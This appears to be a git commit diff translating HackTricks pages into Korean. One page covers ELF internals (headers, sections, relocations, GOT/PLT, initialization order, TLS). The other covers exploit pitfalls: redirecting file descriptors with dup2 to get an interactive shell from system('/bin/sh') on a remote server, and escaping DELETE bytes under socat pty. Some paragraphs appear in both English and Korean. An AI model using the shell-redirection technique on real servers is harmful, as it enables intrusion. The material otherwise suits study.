Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:23:19 +00:00
parent dfaba89cc8
commit 97347a9e88
142 changed files with 8639 additions and 11657 deletions

View file

@ -1,20 +1,23 @@
# ELF 기본 정보 # ELF 기본 정보
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요</strong>!</summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}
## 프로그램 헤더 ## 프로그램 헤더
로더에게 **ELF**를 메모리 로드하는 방법을 설명합니다: 로더에게 **ELF**를 메모리 로드하는 방법을 설명합니다:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -47,54 +50,54 @@ Segment Sections...
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
이전 프로그램에는 **9개의 프로그램 헤더**가 있습니다. 그런 다음 **세그먼트 매핑**은 각 섹션이 어느 프로그램 헤더(00부터 08까지)에 **위치하는지를 나타냅니다**. The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR ### PHDR - Program HeaDeR
프로그램 헤더 테이블과 메타데이터 자체를 포함합니다. Contains the program header tables and metadata itself.
### INTERP ### INTERP
바이너리를 메모리로 로드하는 데 사용할 로더의 경로를 나타냅니다. Indicates the path of the loader to use to load the binary into memory.
### LOAD ### LOAD
이 헤더는 **바이너리를 메모리로 로드하는 방법을 나타냅니다.**\ These headers are used to indicate **how to load a binary into memory.**\
**LOAD** 헤더는 **메모리의 영역**(크기, 권한 및 정렬)을 나타내며 ELF **바이너리의 바이트를 복사할 위치**를 지정합니다. Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
예를 들어, 두 번째 헤더는 크기가 0x1190이며 0x1fc48에 위치하고 읽기 및 쓰기 권한이 있으며 오프셋 0xfc48에서 0x528로 채워질 것입니다(예약된 공간을 모두 채우지는 않음). 이 메모리에는 섹션 `.init_array .fini_array .dynamic .got .data .bss`가 포함됩니다. For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC ### DYNAMIC
이 헤더는 프로그램을 라이브러리 종속성에 연결하고 재배치를 적용하는 데 도움이 됩니다. **`.dynamic`** 섹션을 확인하세요. This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE ### NOTE
바이너리에 대한 공급 업체 메타데이터 정보를 저장합니다. This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME ### GNU\_EH\_FRAME
디버거 및 C++ 예외 처리 런타임 함수에서 사용되는 스택 언워인드 테이블의 위치를 정의합니다. Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK ### GNU\_STACK
스택 실행 방지 방어의 구성을 포함합니다. 활성화되면 바이너리는 스택에서 코드를 실행할 수 없습니다. Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO ### GNU\_RELRO
바이너리의 RELRO (Relocation Read-Only) 구성을 나타냅니다. 이 보호는 프로그램이 로드된 후 실행되기 전에 메모리의 특정 섹션(예: `GOT` 또는 `init``fini` 테이블)을 읽기 전용으로 표시합니다. Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
이전 예에서는 0x3b8 바이트를 0x1fc48에 읽기 전용으로 복사하여 `.init_array .fini_array .dynamic .got .data .bss` 섹션에 영향을 줍니다. In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
RELRO는 부분적이거나 완전한 것이 있으며, 부분적 버전은 **`.plt.got`** 섹션을 보호하지 않습니다. 이 섹션은 **지연 바인딩**에 사용되며 위치가 검색될 때 라이브러리의 주소를 처음으로 쓰기 위해 이 메모리 공간에 **쓰기 권한**이 있어야 합니다. Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS ### TLS
TLS 항목 테이블을 정의하며 쓰레드 로컬 변수에 대한 정보를 저장합니다. Defines a table of TLS entries, which stores info about thread-local variables.
## 섹션 헤더 ## Section Headers
섹션 헤더는 ELF 바이너리의 더 자세한 정보를 제공합니다. Section headers gives a more detailed view of the ELF binary
``` ```
objdump lnstat -h objdump lnstat -h
@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
### 메타 섹션 It also indicates the location, offset, permissions but also the **type of data** it section has.
* **문자열 테이블**: ELF 파일에서 필요한 모든 문자열을 포함하고 있습니다 (프로그램에서 실제로 사용되는 것은 아님). 예를 들어 `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 만약 `.text`이 문자열 테이블에서 45 오프셋에 있다면 **name** 필드에서 숫자 **45**를 사용합니다. ### Meta Sections
* 문자열 테이블의 위치를 찾기 위해 ELF에는 문자열 테이블을 가리키는 포인터가 포함되어 있습니다.
* **심볼 테이블**: 이름 (문자열 테이블 내의 오프셋), 주소, 크기 및 심볼에 대한 추가 메타데이터와 같은 심볼에 대한 정보를 포함합니다.
### 주요 섹션 * **String table**: ELF 파일에 필요한 모든 문자열을 포함하고 있습니다(하지만 프로그램에서 실제로 사용되는 문자열은 아닙니다). 예를 들어, `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 만약 `.text`가 문자열 테이블에서 오프셋 45에 있다면, **name** 필드에서 숫자 **45**를 사용할 것입니다.
* 문자열 테이블이 어디에 있는지 찾기 위해, ELF는 문자열 테이블에 대한 포인터를 포함합니다.
* **Symbol table**: 이름(문자열 테이블의 오프셋), 주소, 크기 및 기호에 대한 더 많은 메타데이터와 같은 기호에 대한 정보를 포함합니다.
* **`.text`**: 프로그램을 실행하는 명령어들입니다. ### Main Sections
* **`.data`**: 프로그램에서 정의된 값이 있는 전역 변수들입니다.
* **`.bss`**: 초기화되지 않은 전역 변수들 (또는 0으로 초기화된 변수). 이곳의 변수들은 자동으로 0으로 초기화되므로 바이너리에 불필요한 0이 추가되는 것을 방지합니다.
* **`.rodata`**: 상수 전역 변수들 (읽기 전용 섹션).
* **`.tdata`**와 **`.tbss`**: 스레드 로컬 변수가 사용될 때 (C++의 `__thread_local` 또는 `__thread`와 같은) .data 및 .bss와 유사합니다.
* **`.dynamic`**: 아래 참조.
## 심볼 * **`.text`**: 실행할 프로그램의 명령어입니다.
* **`.data`**: 프로그램에서 정의된 값을 가진 전역 변수입니다.
* **`.bss`**: 초기화되지 않은 전역 변수(또는 0으로 초기화됨). 여기의 변수는 자동으로 0으로 초기화되므로 이진 파일에 쓸모없는 0이 추가되는 것을 방지합니다.
* **`.rodata`**: 상수 전역 변수(읽기 전용 섹션)입니다.
* **`.tdata`** 및 **`.tbss`**: 스레드 로컬 변수가 사용될 때 .data 및 .bss와 같습니다(`__thread_local` in C++ 또는 `__thread` in C).
* **`.dynamic`**: 아래를 참조하십시오.
심볼은 프로그램의 이름이 지정된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다. ## Symbols
Symbols는 프로그램 내의 명명된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
``` ```
readelf -s lnstat readelf -s lnstat
@ -193,14 +198,14 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...] [...]
``` ```
각 심볼 항목에는 다음이 포함되어 있습니다: 각 심볼 항목은 다음을 포함합니다:
- **이름** * **이름**
- **바인딩 속성** (약한, 지역 또는 전역): 지역 심볼은 프로그램 자체에서만 액세스할 수 있으며 전역 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 다른 함수에 의해 재정의될 수 있는 함수입니다. * **바인딩 속성** (약한, 로컬 또는 전역): 로컬 심볼은 프로그램 자체에서만 접근할 수 있으며, 전역 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 예를 들어 다른 함수에 의해 재정의될 수 있는 함수입니다.
- **유형**: NOTYPE (지정된 유형 없음), OBJECT (전역 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU_IFUNC (재배치를 위한 간접 함수) * **유형**: NOTYPE (유형이 지정되지 않음), OBJECT (전역 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU\_IFUNC (재배치를 위한 간접 함수)
- **위치한 섹션** 인덱스 * **섹션** 인덱스 (위치)
- **값** (메모리 주소) * **값** (메모리 내 주소)
- **크기** * **크기**
## 동적 섹션 ## 동적 섹션
``` ```
@ -237,13 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
## 필요한 라이브러리 NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 함**을 나타냅니다. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용 준비가 되었을 때** 완료됩니다.
NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 한다는 것을 나타냅니다**. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용할 준비가 된 후** 완료됩니다. ## Relocations
## 재배치 로더는 또한 로드한 후 의존성을 재배치해야 합니다. 이러한 재배치는 REL 또는 RELA 형식의 재배치 테이블에 표시되며, 재배치 수는 동적 섹션 RELSZ 또는 RELASZ에 제공됩니다.
로더는 로드한 후 종속성을 재배치해야 합니다. 이러한 재배치는 REL 또는 RELA 형식의 재배치 테이블에서 나타나며, 재배치의 수는 동적 섹션 RELSZ 또는 RELASZ에 주어집니다.
``` ```
readelf -r lnstat readelf -r lnstat
@ -309,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@ -319,23 +321,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
``` ```
### 정적 재배치 ### 정적 재배치
프로그램이 선호하는 주소(보통 0x400000)가 이미 사용 중이거나 ASLR 또는 다른 이유로 인해 선호하는 주소가 아닌 다른 곳에 로드된 경우, 정적 재배치는 이진 파일이 선호하는 주소에 로드되었다고 가정하고 값을 기대하는 포인터를 수정합니다. 프로그램이 **선호하는 주소**(보통 0x400000)와 다른 위치에 로드되면(주소가 이미 사용 중이거나 **ASLR** 또는 기타 이유로), 정적 재배치는 **포인터를 수정**하여 이진 파일이 선호하는 주소에 로드될 것으로 예상했던 값을 수정합니다.
예를 들어 `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향 플러스 추가 값에서 주소를 수정해야 합니다. 예를 들어, `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향에 추가 값(addend value)을 더한 주소를 수정해야 합니다.
### 동적 재배치 및 GOT ### 동적 재배치 및 GOT
재배치는 외부 심볼(의존성에서 가져온 함수와 같은)을 참조할 수도 있습니다. 예를 들어 libC의 malloc 함수와 같은. 그럼 로더는 libC를 로드할 때 malloc 함수가 로드된 위치를 확인하고, malloc 함수의 주소가 지정되어야 하는 GOT(Global Offset Table) 테이블(재배치 테이블에 표시됨)에 이 주소를 기록합니다. 재배치는 외부 기호(예: 의존성의 함수)를 참조할 수도 있습니다. libC의 malloc 함수와 같은 경우입니다. 그런 다음 로더는 libC를 로드할 때 malloc 함수가 로드된 주소를 확인하고, 이 주소를 GOT(전역 오프셋 테이블) 테이블(재배치 테이블에 표시됨)에 기록하여 malloc의 주소를 지정해야 합니다.
### 절차 연결 테이블 ### 프로시저 링크 테이블
PLT 섹션은 지연 바인딩을 수행할 수 있게 해줍니다. 이는 함수의 위치 결정이 해당 함수에 처음 액세스될 때 수행된다는 것을 의미합니다. PLT 섹션은 지연 바인딩을 수행할 수 있게 해주며, 이는 함수의 위치 해석이 처음 접근할 때 수행된다는 것을 의미합니다.
따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치를 호출합니다(`malloc@plt`). 처음 호출될 때 `malloc`의 주소를 해결하고 저장하여 다음에 `malloc`이 호출될 때 PLT 코드 대신 해당 주소를 사용합니다. 따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치(`malloc@plt`)를 호출합니다. 처음 호출할 때 `malloc`의 주소를 해석하고 저장하므로 다음에 `malloc`이 호출될 때는 PLT 코드 대신 그 주소가 사용됩니다.
## 프로그램 초기화 ## 프로그램 초기화
프로그램이 로드된 후에 실행될 시간입니다. 그러나 실행되는 첫 번째 코드가 항상 `main` 함수가 아닙니다. 이는 예를 들어 C++에서 전역 변수가 클래스의 객체인 경우, 이 객체는 `main`이 실행되기 전에 초기화되어야 하기 때문입니다. 프로그램이 로드된 후 실행할 시간입니다. 그러나 실행되는 첫 번째 코드는 **항상 `main`** 함수가 아닙니다. 예를 들어 C++에서 **전역 변수가 클래스의 객체**인 경우, 이 객체는 main이 실행되기 **전에** **초기화**되어야 합니다.
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
@ -356,36 +358,76 @@ printf("Main\n");
return 0; return 0;
} }
``` ```
주의할 점은 이러한 전역 변수가 `.data` 또는 `.bss`에 위치하지만 `__CTOR_LIST__``__DTOR_LIST__` 목록에는 초기화 및 소멸할 객체가 순서대로 저장되어 추적됩니다. 이러한 전역 변수는 `.data` 또는 `.bss`에 위치하지만, `__CTOR_LIST__``__DTOR_LIST__` 목록에는 초기화 및 소멸할 객체가 저장되어 이들을 추적할 수 있습니다.
C 코드에서 GNU 확장을 사용하여 동일한 결과를 얻을 수 있습니다 : C 코드에서 GNU 확장을 사용하여 동일한 결과를 얻을 수 있습니다:
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 동작을 실행하기 위해 `init` 함수와 `fini` 함수를 생성하고 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조되며 ELF의 `init``fini` 섹션에 배치할 수 있습니다. From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
언급된 다른 옵션은 동적 섹션에서 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하고 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출되는 함수 포인터입니다. 컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 작업을 실행하기 위해 `init` 함수와 `fini` 함수를 생성할 수 있으며, 이는 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조됩니다. 그리고 ELF의 `init``fini` 섹션에 배치됩니다.
또한 **`INIT_ARRAY`** 포인터보다 **이전에** 실행될 **포인터**가 있는 **`PREINIT_ARRAY`**를 가질 수도 있습니다. The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
언급된 다른 옵션은 동적 섹션의 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에서 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하는 것이며, 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출될 함수 포인터입니다.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
또한 **`INIT_ARRAY`** 포인터보다 **먼저** 실행될 **포인터**가 있는 **`PREINIT_ARRAY`**를 가질 수도 있습니다.
### Initialization Order
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
### 초기화 순서 ### 초기화 순서
1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다. 1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며, 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다.
2. 프로그램이나 라이브러리의 모든 **의존성**이 **초기화**되고 **동적 링킹**이 실행됩니다. 2. 프로그램 또는 라이브러리에 대한 모든 **종속성**이 **초기화**되고 **동적 링크**가 실행됩니다.
3. **`PREINIT_ARRAY`** 함수가 실행됩니다. 3. **`PREINIT_ARRAY`** 함수가 실행됩니다.
4. **`INIT_ARRAY`** 함수가 실행됩니다. 4. **`INIT_ARRAY`** 함수가 실행됩니다.
5. **`INIT`** 항목이 있는 경우 호출됩니다. 5. **`INIT`** 항목이 있으면 호출됩니다.
6. 라이브러리의 경우, dlopen이 여기서 끝나며, 프로그램의 경우 **실제 진입점**인 (`main` 함수)을 호출할 시간입니다. 6. 라이브러리인 경우, dlopen은 여기서 끝나고, 프로그램인 경우 **실제 진입점**(`main` 함수)을 호출할 시간입니다.
## 스레드 로컬 스토리지 (TLS) ## Thread-Local Storage (TLS)
C++에서는 **`__thread_local`** 키워드를 사용하거나 GNU 확장인 **`__thread`**를 사용하여 정의됩니다. They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
각 스레드는 이 변수에 대한 고유한 위치를 유지하므로 스레드만 해당 변수에 액세스할 수 있습니다. **`__thread_local`** 키워드를 사용하여 C++에서 정의되거나 GNU 확장 **`__thread`**를 사용합니다.
이를 사용하면 ELF에서 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS용으로 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다. Each thread will maintain a unique location for this variable so only the thread can access its variable.
변수는 TLS 헤더에 항목을 가지며 크기와 TLS 오프셋을 지정하며, 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다. 스레드는 이 변수에 대해 고유한 위치를 유지하므로 오직 해당 스레드만 자신의 변수를 접근할 수 있습니다.
`__TLS_MODULE_BASE`는 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리키는 기호입니다. When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
이것이 사용되면 ELF에서 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS에 대한 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
각 변수는 TLS 헤더에 크기와 TLS 오프셋을 지정하는 항목을 가지며, 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE`는 스레드 로컬 저장소의 기본 주소를 참조하는 데 사용되는 기호이며, 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리킵니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# 일반적인 Exploiting 문제 # Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details> </details>
{% endhint %}
## 원격 Exploitation에서의 FDs ## 원격 익스플로잇에서의 FD
예를 들어 **`system('/bin/sh')`**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 물론 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1``2`)에서 출력을 표시할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없을 것입니다. 예를 들어 **`system('/bin/sh')`**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout과 stderr(FDs `1``2`)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.
이를 해결하는 한 가지 방법은 서버가 시작될 때 **FD 번호 `3`** (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서, **`dup2`** 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결용)에 복제하여 실행된 후 셸과 연락할 수 있도록 만들 수 있습니다. 이를 해결하는 방법은 서버가 시작될 때 **FD 번호 `3`**(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서 시스템 호출 **`dup2`**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제할 수 있으므로, 셸이 실행되면 연락할 수 있게 됩니다.
[**여기에서 exploit 예시**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit) [**여기서 익스플로잇 예제**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
from pwn import * from pwn import *
@ -37,20 +40,23 @@ p.interactive()
``` ```
## Socat & pty ## Socat & pty
socat는 이미 **`stdin`**과 **`stdout`**를 소켓으로 전송합니다. 그러나 `pty` 모드에는 **DELETE 문자가 포함**되어 있습니다. 따라서 `\x7f` (`DELETE` -)를 보내면 exploit의 이전 문자가 **삭제**됩니다. socat은 이미 **`stdin`**과 **`stdout`**을 소켓으로 전송합니다. 그러나 `pty` 모드는 **DELETE 문자를 포함**합니다. 따라서 `\x7f` ( `DELETE` -)를 보내면 **당신의 익스플로잇의 이전 문자를 삭제**합니다.
이를 우회하기 위해 **`\x7f`를 보내기 전에 이스케이프 문자 `\x16`을 추가**해야 합니다. 이를 우회하기 위해서는 **전송되는 모든 `\x7f`에 이스케이프 문자 `\x16`을 추가해야 합니다.**
**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
